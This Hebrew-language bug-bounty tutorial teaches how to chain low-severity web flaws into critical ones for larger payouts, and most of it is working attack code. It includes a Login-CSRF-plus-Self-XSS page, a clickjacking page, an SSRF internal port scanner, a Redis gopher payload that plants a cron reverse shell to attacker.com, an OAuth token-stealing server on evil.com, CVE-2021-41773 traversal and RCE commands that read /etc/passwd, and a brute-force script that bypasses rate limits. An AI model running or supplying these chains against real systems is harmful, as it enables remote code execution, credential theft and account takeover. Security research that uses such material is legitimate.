לדלג לתוכן

מ-Low ל-Critical - הסלמת חומרת חולשות

הבנת דירוגי חומרה - CVSS

לפני שמתחילים להסלים חולשות, צריך להבין מה הופך ממצא לקריטי.

סולם CVSS v3.1

None:     0.0
Low:      0.1 - 3.9
Medium:   4.0 - 6.9
High:     7.0 - 8.9
Critical: 9.0 - 10.0

הפרמטרים שקובעים חומרה

וקטור תקיפה (AV):
  Network (N)  - תקיפה מרחוק דרך הרשת
  Adjacent (A) - תקיפה מרשת סמוכה
  Local (L)    - תקיפה מקומית
  Physical (P) - תקיפה פיזית

מורכבות תקיפה (AC):
  Low (L)  - קל לניצול
  High (H) - דורש תנאים מיוחדים

הרשאות נדרשות (PR):
  None (N) - ללא הרשאות
  Low (L)  - הרשאות רגילות
  High (H) - הרשאות גבוהות

אינטראקציית משתמש (UI):
  None (N)     - ללא אינטראקציה
  Required (R) - דורש אינטראקציה

אימפקט:
  Confidentiality (C): None/Low/High
  Integrity (I):       None/Low/High
  Availability (A):    None/Low/High

מה הופך ממצא ל-Critical?

ממצא קריטי בדרך כלל כולל:
- וקטור רשת (Network)
- מורכבות נמוכה (Low)
- ללא הרשאות נדרשות (None)
- ללא אינטראקציית משתמש (None)
- אימפקט גבוה על סודיות, שלמות, וזמינות

המטרה שלנו: לקחת ממצא שלא עומד בקריטריונים האלה ולשרשר אותו כך שהתוצאה כן עומדת.


טכניקה 1 - Self-XSS ל-Full XSS

הבעיה

Self-XSS היא חולשת XSS שבה רק המשתמש עצמו יכול להזריק ולהפעיל את ה-payload. רוב תוכניות ה-Bug Bounty לא מקבלות Self-XSS כי אין סיכון אמיתי - למה שמשתמש יתקוף את עצמו?

שיטה א - Login CSRF

אם יש Login CSRF (אפשר לחבר קורבן לחשבון של התוקף):

<!-- דף התוקף: מחבר את הקורבן לחשבון התוקף -->
<html>
<body>
  <h1>טוען...</h1>

  <!-- שלב 1: מנתק את הקורבן -->
  <img src="https://target.com/logout" style="display:none">

  <!-- שלב 2: מחבר לחשבון התוקף (Login CSRF) -->
  <form id="loginForm" action="https://target.com/login" method="POST">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="attacker_pass">
  </form>

  <script>
    // מחכה שהניתוק יסתיים
    setTimeout(() => {
      document.getElementById('loginForm').submit();
      // הקורבן מחובר עכשיו לחשבון התוקף
      // שם ה-Self-XSS כבר מוזרק
      // הקורבן רואה את ה-XSS ו-JavaScript רץ בדפדפן שלו
    }, 1000);
  </script>
</body>
</html>

זרימת התקיפה

1. תוקף מזריק Self-XSS בחשבון שלו (למשל בשדה "אודות")
2. תוקף שולח לקורבן קישור לדף שמבצע Login CSRF
3. הקורבן מחובר לחשבון התוקף
4. הקורבן גולש ורואה את ה-Self-XSS
5. ה-JavaScript רץ בדפדפן הקורבן
6. ה-JS גונב cookies של הקורבן (מהחשבון האמיתי שלו)
   או מבצע פעולות בשם הקורבן

שיטה ב - שרשור עם Clickjacking

<!-- דף תוקף: Clickjacking שגורם לקורבן להזריק XSS -->
<html>
<head>
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 500px;
    height: 400px;
    opacity: 0.01;  /* כמעט שקוף */
    z-index: 2;
  }
  .fake-page {
    position: absolute;
    top: 0;
    left: 0;
    z-index: 1;
  }
  .fake-button {
    position: absolute;
    top: 235px;  /* ממוקם מעל כפתור השמירה האמיתי */
    left: 150px;
    padding: 10px 30px;
    background: #4CAF50;
    color: white;
    border: none;
    cursor: pointer;
    font-size: 18px;
  }
</style>
</head>
<body>
  <div class="fake-page">
    <h1>זכית בפרס!</h1>
    <p>לחצו על הכפתור כדי לקבל את הפרס שלכם</p>
    <button class="fake-button">קבל פרס</button>
  </div>

  <!-- ה-iframe עם הדף הפגיע - שדה הפרופיל כבר מלא ב-XSS -->
  <iframe src="https://target.com/profile/edit#bio=<script>alert(1)</script>">
  </iframe>
</body>
</html>

הסלמה בדירוג

לפני:
  Self-XSS
  CVSS: 0.0 (Informative)
  סיבה: דורש שהתוקף יתקוף את עצמו

אחרי שרשור עם Login CSRF:
  Stored XSS דרך Login CSRF
  CVSS: 6.1 (Medium) עד 8.0 (High)
  סיבה: התוקף יכול להפעיל XSS בדפדפן הקורבן

טכניקה 2 - SSRF מוגבל ל-RCE

הבעיה

SSRF מוגבל שרק מאפשר לבצע בקשות HTTP פנימיות ללא החזרת תוכן (Blind SSRF) - בדרך כלל מדורג כ-Low.

שלב א - סריקת הרשת הפנימית

import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "https://target.com/api/webhook"

def scan_port(host_port):
    host, port = host_port
    try:
        response = requests.post(TARGET, json={
            'url': f'http://{host}:{port}/'
        }, timeout=5)

        # זמן תגובה קצר = פורט פתוח
        if response.elapsed.total_seconds() < 2:
            print(f"[+] פתוח: {host}:{port}")
            return (host, port, True)
    except Exception:
        pass
    return (host, port, False)

# סריקת רשת פנימית
targets = []
for i in range(1, 255):
    for port in [80, 443, 8080, 8443, 6379, 27017, 9200, 5432, 3306]:
        targets.append((f"10.0.1.{i}", port))

with ThreadPoolExecutor(max_workers=20) as executor:
    results = list(executor.map(scan_port, targets))
    open_ports = [(h, p) for h, p, s in results if s]

print(f"\n[+] נמצאו {len(open_ports)} פורטים פתוחים")

שלב ב - זיהוי שירותים פנימיים פגיעים

# בדיקת Redis לא מאובטח
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.50:6379/'
})

# בדיקת Elasticsearch
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.100:9200/_cat/indices'
})

# בדיקת Kubernetes API
response = requests.post(TARGET, json={
    'url': 'https://10.0.1.1:6443/api/v1/namespaces'
})

# בדיקת Docker API
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.200:2375/containers/json'
})

שלב ג - ניצול שירות פנימי ל-RCE

# ניצול Redis לא מאובטח דרך SSRF (Gopher protocol)
import urllib.parse

# פקודות Redis לכתיבת cron job
redis_commands = """
FLUSHALL
SET cronjob "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
QUIT
"""

# קידוד ל-Gopher protocol
encoded = urllib.parse.quote(redis_commands.replace('\n', '\r\n'))
gopher_url = f"gopher://10.0.1.50:6379/_{encoded}"

response = requests.post(TARGET, json={
    'url': gopher_url
})
print(f"[+] ניצול Redis: {response.status_code}")

הסלמה בדירוג

לפני:
  Blind SSRF
  CVSS: 3.5 (Low)
  סיבה: אין החזרת תוכן, רק יכולת לבצע בקשות

אחרי שרשור:
  SSRF -> סריקת רשת פנימית -> Redis -> RCE
  CVSS: 9.8 (Critical)
  סיבה: הרצת קוד מרחוק ללא אותנטיקציה

טכניקה 3 - Open Redirect ל-Account Takeover

הבעיה

Open Redirect בדרך כלל מדורג כ-Low או Informative - "זה רק הפניה".

שיטה א - גניבת OAuth token

# הפניה תקינה
GET /redirect?next=https://target.com/dashboard HTTP/1.1
Host: target.com

# ניצול
GET /redirect?next=https://evil.com HTTP/1.1
Host: target.com

שילוב עם OAuth:

קישור תקיפה:
https://auth-provider.com/authorize?
  client_id=TARGET_ID&
  redirect_uri=https://target.com/redirect?next=https://evil.com&
  response_type=token&
  scope=email+profile

זרימה:
1. קורבן לוחץ על הקישור
2. מאשר גישה ל-target.com (לגיטימי)
3. הפניה ל: https://target.com/redirect?next=https://evil.com#access_token=TOKEN
4. Open Redirect מפנה ל: https://evil.com#access_token=TOKEN
5. התוקף גנב את הטוקן

שיטה ב - גניבת קוד אוטוריזציה

from flask import Flask, request

app = Flask(__name__)

@app.route('/callback')
def steal():
    # גניבת authorization code
    code = request.args.get('code')
    state = request.args.get('state')

    if code:
        # החלפה לטוקן
        token_resp = requests.post('https://target.com/oauth/token', data={
            'grant_type': 'authorization_code',
            'code': code,
            'redirect_uri': 'https://target.com/redirect?next=https://evil.com/callback',
            'client_id': 'TARGET_CLIENT_ID'
        })

        token = token_resp.json()
        print(f"[+] נגנב טוקן: {token}")

        # גישה לחשבון
        me = requests.get('https://target.com/api/me', headers={
            'Authorization': f"Bearer {token['access_token']}"
        })
        print(f"[+] חשבון: {me.json()}")

    return "<h1>שגיאה</h1>", 500

app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

הסלמה בדירוג

לפני:
  Open Redirect
  CVSS: 3.4 (Low)
  סיבה: רק הפניה לאתר חיצוני

אחרי שרשור:
  Open Redirect -> OAuth Token Theft -> Account Takeover
  CVSS: 8.1 (High)
  סיבה: השתלטות על חשבון ללא אינטראקציה מורכבת

טכניקה 4 - חשיפת מידע לניצול

חשיפת גרסה ל-CVE

HTTP/1.1 200 OK
Server: Apache/2.4.49
X-Powered-By: PHP/7.4.3

ניצול:

# חיפוש CVE עבור Apache 2.4.49
# CVE-2021-41773 - Path Traversal / RCE

curl -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# אם mod_cgi מופעל - RCE
curl -s -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d 'echo Content-Type: text/plain; echo; id'

חשיפת קוד מקור ל-חולשות חדשות

# חשיפת .git
GET /.git/HEAD HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
ref: refs/heads/main

שחזור קוד המקור:

# שימוש בכלי git-dumper
git-dumper https://target.com/.git/ ./source_code

# חיפוש חולשות בקוד
grep -r "eval(" ./source_code/
grep -r "exec(" ./source_code/
grep -r "system(" ./source_code/
grep -r "password" ./source_code/config/
grep -r "secret" ./source_code/.env
grep -r "SQL" ./source_code/ | grep -i "query"

חשיפת IP פנימי ל-SSRF ממוקד

HTTP/1.1 500 Internal Server Error

{
  "error": "Connection refused",
  "details": "Could not connect to backend at 10.0.1.50:8080"
}

שימוש ב-IP שהתגלה:

# עכשיו יש לנו יעד מדויק ל-SSRF
response = requests.post('https://target.com/api/webhook', json={
    'url': 'http://10.0.1.50:8080/admin/execute?cmd=id'
})

הסלמה בדירוג

לפני:
  חשיפת גרסה (Information Disclosure)
  CVSS: 0.0 - 3.0 (Informative/Low)

אחרי שרשור:
  גרסה -> CVE ידוע -> RCE
  CVSS: 9.8 (Critical)

טכניקה 5 - עקיפת Rate Limiting ל-Brute Force

הבעיה

Rate Limiting על דף ההתחברות מונע brute force - אבל אם אפשר לעקוף אותו, זה הופך ל-Account Takeover.

שיטות עקיפה

import requests
import itertools

TARGET = "https://target.com/api/login"
USERNAME = "admin@target.com"

# רשימת סיסמאות נפוצות
passwords = open('top1000.txt').read().splitlines()

def try_login(password, technique):
    headers = {'Content-Type': 'application/json'}

    if technique == 'ip_rotation':
        # שיטה 1: החלפת IP דרך headers
        headers['X-Forwarded-For'] = f"10.{hash(password) % 256}.{hash(password+'a') % 256}.1"
        headers['X-Real-IP'] = headers['X-Forwarded-For']

    elif technique == 'case_variation':
        # שיטה 2: שינוי רישיות באימייל
        variations = []
        for i in range(len(USERNAME)):
            if USERNAME[i].isalpha():
                v = list(USERNAME)
                v[i] = v[i].swapcase()
                variations.append(''.join(v))
        # כל וריאציה נחשבת כמשתמש אחר ל-Rate Limiter

    elif technique == 'null_byte':
        # שיטה 3: הוספת תווים שמנורמלים
        modified_user = USERNAME + '%00'
        # או
        modified_user = USERNAME + '\t'

    elif technique == 'param_pollution':
        # שיטה 4: Parameter pollution
        return requests.post(TARGET,
            data=f"username={USERNAME}&password={password}&username=different@email.com",
            headers={'Content-Type': 'application/x-www-form-urlencoded'})

    elif technique == 'json_array':
        # שיטה 5: שליחת מספר סיסמאות בבקשה אחת
        return requests.post(TARGET, json={
            'username': USERNAME,
            'password': [passwords[i:i+100] for i in range(0, len(passwords), 100)][0]
        }, headers=headers)

    return requests.post(TARGET, json={
        'username': USERNAME,
        'password': password
    }, headers=headers)

# ניסיון כל השיטות
for technique in ['ip_rotation', 'case_variation', 'null_byte', 'param_pollution']:
    print(f"\n[*] מנסה שיטה: {technique}")
    for password in passwords[:100]:
        response = try_login(password, technique)
        if response.status_code == 200 and 'token' in response.text:
            print(f"[+] סיסמה נמצאה: {password}")
            break
        elif response.status_code == 429:
            print(f"[-] Rate limited - שיטה {technique} לא עובדת")
            break

הסלמה בדירוג

לפני:
  Rate Limiting Bypass
  CVSS: 3.0 (Low)
  סיבה: רק עוקף מנגנון הגנה

אחרי:
  Rate Limiting Bypass -> Brute Force -> Account Takeover
  CVSS: 7.5 (High) עד 9.1 (Critical)
  סיבה: השתלטות על כל חשבון

הדגמת אימפקט עסקי

חולשה לפני הסלמה

כותרת: Self-XSS in Profile Bio Field
חומרה: Informative
תשלום: $0
תיאור: "משתמש יכול להזריק JavaScript בשדה הפרופיל שלו"

אותה חולשה אחרי הסלמה

כותרת: Stored XSS via Login CSRF Leading to Mass Account Takeover
חומרה: Critical
תשלום: $10,000+
תיאור: "תוקף יכול להשתלט על כל חשבון באמצעות שרשרת:
1. Login CSRF מחבר קורבן לחשבון התוקף
2. Self-XSS שמוזרק בחשבון התוקף מופעל בדפדפן הקורבן
3. JavaScript גונב את הסשן האמיתי של הקורבן
4. תוקף משתמש בסשן להשתלטות מלאה

אימפקט עסקי: כל משתמש שלוחץ על קישור זדוני מאבד שליטה
על החשבון שלו. תוקף יכול לגשת למידע אישי, לבצע פעולות
בשם המשתמש, ולהשתמש בחשבון להתקפות נוספות."

איך להציג ממצאים מוסלמים

מבנה דוח מומלץ

## כותרת
[תיאור קצר של השרשרת המלאה - לא רק החולשה הבודדת]

## חומרה
CVSS: [ציון] ([רמה])
Vector: [וקטור מלא]

## תיאור
[תיאור טכני של כל חולשה בנפרד]

## שרשרת הניצול
1. [שלב ראשון] - [תיאור + בקשת HTTP]
2. [שלב שני] - [תיאור + בקשת HTTP]
3. [שלב שלישי] - [תיאור + תוצאה]

## הוכחת ניצול - PoC
[סקריפט מלא שמדגים את כל השרשרת]

## אימפקט עסקי
- מי מושפע?
- מה התוקף יכול לעשות?
- מה ההשפעה על המשתמשים?
- מה ההשפעה על העסק?

## תיקון מומלץ
[תיקון לכל חולשה בשרשרת - תיקון אחד יכול לשבור את כל השרשרת]

טיפים להגדלת תשלום

  1. הדגימו אימפקט מקסימלי - לא רק "XSS" אלא "Account Takeover"
  2. הראו שהתקיפה ניתנת להרחבה - "כל משתמש" ולא "משתמש ספציפי"
  3. הציגו סיכון עסקי - "גישה למידע כרטיסי אשראי של לקוחות"
  4. ספקו PoC עובד - סקריפט שמדגים את כל השרשרת
  5. הציעו תיקון - הראו שאתם מבינים את הבעיה

סיכום

כללי זהב להסלמת חולשות:
1. אל תפסלו ממצאים - כל חולשה היא חוליה פוטנציאלית
2. חשבו על חיבורים - מה עוד אפשר לעשות עם הממצא
3. מפו את כל נקודות הקצה - חפשו מקומות שהחולשה משפיעה עליהם
4. בדקו מנגנוני הגנה - אולי יש חולשה שעוקפת את ההגנה
5. תעדו הכל - שרשרת שמתועדת היטב שווה יותר